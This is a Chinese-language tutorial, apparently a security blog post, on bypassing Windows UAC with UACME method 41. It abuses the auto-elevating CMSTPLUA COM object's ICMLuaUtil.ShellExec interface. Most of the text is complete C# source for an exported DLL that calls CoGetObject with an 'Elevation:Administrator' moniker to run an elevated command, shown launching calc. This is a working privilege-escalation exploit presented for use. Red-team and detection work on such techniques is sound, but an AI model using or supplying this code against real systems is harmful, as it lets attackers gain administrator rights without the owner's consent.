本文主要讲述UACME项目中索引为41的ICMLuaUtil方法为例实现一个bypassuac，该方法原理在于调用COM组件中自动提权并且可以执行命令的接口。
什么类型的COM组件可以利用
以下是UACME项目对使用ICMLuaUtil方式的描述
Author: Oddvar Moe
Type: Elevated COM interface
Method: ICMLuaUtil
Target(s): Attacker defined
Component(s): Attacker defined
Implementation: ucmCMLuaUtilShellExecMethod
Works from: Windows 7 (7600)
Fixed in: unfixed ?
How: -
查看该方法对应的源码发现是CMSTPLUA组件下的ICMLuaUtil接口。使用OleViewDotNet工具以管理员身份运行，查看对应的COM属性信息。
右键查看该组件的Elevation属性
首先这里的Enable、Auto Approval属性为True表示可以用该组件来绕过UAC认证，这是利用条件第一点。
第二点是需要该组件中存在执行命令的点，根据上图知道该函数位于cmlua.dll。通过OleViewDotNet提供的偏移量找到虚函数表。
使用csharp调用ICMLuaUtil.ShellExec执行命令
vs创建新项目，然后添加DllExport类库
装完之后会自动运行一个init.ps1脚本弹出来一个框，让你设置要导出的dll配置。
按图配置，点击apply，然后vs中提示重新加载文件。
先来一个最简单的dll，添加System.Windows.Forms引用之后生成dll
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace MyBypassUAC
{
public class Class1
{
[DllExport]
public static void MyBypassUAC()
{
MessageBox.Show("aa");
}
}
}
注意：你需要运行你生成对应系统位数的dll，否则你会碰到这样的错误
运行x64的dll
这样就是一个简单的demo了。接下来写bypassuac的东西。
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace MyBypassUAC
{
public class Class1
{
internal enum HRESULT : long
{
S_FALSE = 0x0001,
S_OK = 0x0000,
E_INVALIDARG = 0x80070057,
E_OUTOFMEMORY = 0x8007000E
}
[StructLayout(LayoutKind.Sequential)]
internal struct BIND_OPTS3
{
internal uint cbStruct;
internal uint grfFlags;
internal uint grfMode;
internal uint dwTickCountDeadline;
internal uint dwTrackFlags;
internal uint dwClassContext;
internal uint locale;
object pServerInfo; // will be passing null, so type doesn't matter
internal IntPtr hwnd;
}
[Flags]
internal enum CLSCTX
{
CLSCTX_INPROC_SERVER = 0x1,
CLSCTX_INPROC_HANDLER = 0x2,
CLSCTX_LOCAL_SERVER = 0x4,
CLSCTX_REMOTE_SERVER = 0x10,
CLSCTX_NO_CODE_DOWNLOAD = 0x400,
CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
CLSCTX_NO_FAILURE_LOG = 0x4000,
CLSCTX_DISABLE_AAA = 0x8000,
CLSCTX_ENABLE_AAA = 0x10000,
CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER,
CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER,
CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
}
const ulong SEE_MASK_DEFAULT = 0x0;
const ulong SW_SHOW = 0x5;
[DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
[return: MarshalAs(UnmanagedType.Interface)]
internal static extern object CoGetObject(
string pszName,
[In] ref BIND_OPTS3 pBindOptions,
[In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
[DllExport]
public static void MyBypassUAC()
{
Guid classId_cmstplua = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
// Interface ID
Guid interfaceId_icmluautil = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");
ICMLuaUtil icm = (ICMLuaUtil)LaunchElevatedCOMObject(classId_cmstplua, interfaceId_icmluautil); ;
icm.ShellExec(@"cmd.exe", string.Format("/c {0}", "calc"), @"C:\windows\system32\", SEE_MASK_DEFAULT, SW_SHOW);
Marshal.ReleaseComObject(icm);
}
public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
{
string CLSID = Clsid.ToString("B");
string monikerName = "Elevation:Administrator!new:" + CLSID;
BIND_OPTS3 bo = new BIND_OPTS3();
bo.cbStruct = (uint)Marshal.SizeOf(bo);
bo.hwnd = IntPtr.Zero;
bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER;
object retVal = CoGetObject(monikerName, ref bo, InterfaceID);
return (retVal);
}
[ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface ICMLuaUtil
{
//[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
//void QueryInterface([In, MarshalAs(UnmanagedType.LPStruct)] Guid riid, [In, Out] ref IntPtr ppv);
//[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
//void AddRef();
//[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
//void Release();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method1();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method2();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method3();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method4();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method5();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method6();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
HRESULT ShellExec(
[In, MarshalAs(UnmanagedType.LPWStr)]string file,
[In, MarshalAs(UnmanagedType.LPWStr)]string paramaters,
[In, MarshalAs(UnmanagedType.LPWStr)]string directory,
[In]ulong fMask,
[In]ulong nShow);
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method8();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method9();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method10();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method11();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method12();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method13();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method14();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method15();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method16();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method17();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method18();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method19();
[MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig]
void Method20();
}
}
}
通过创建ICMLuaUtil com对象icm，调用其方法ShellExec执行命令实现uac提权。
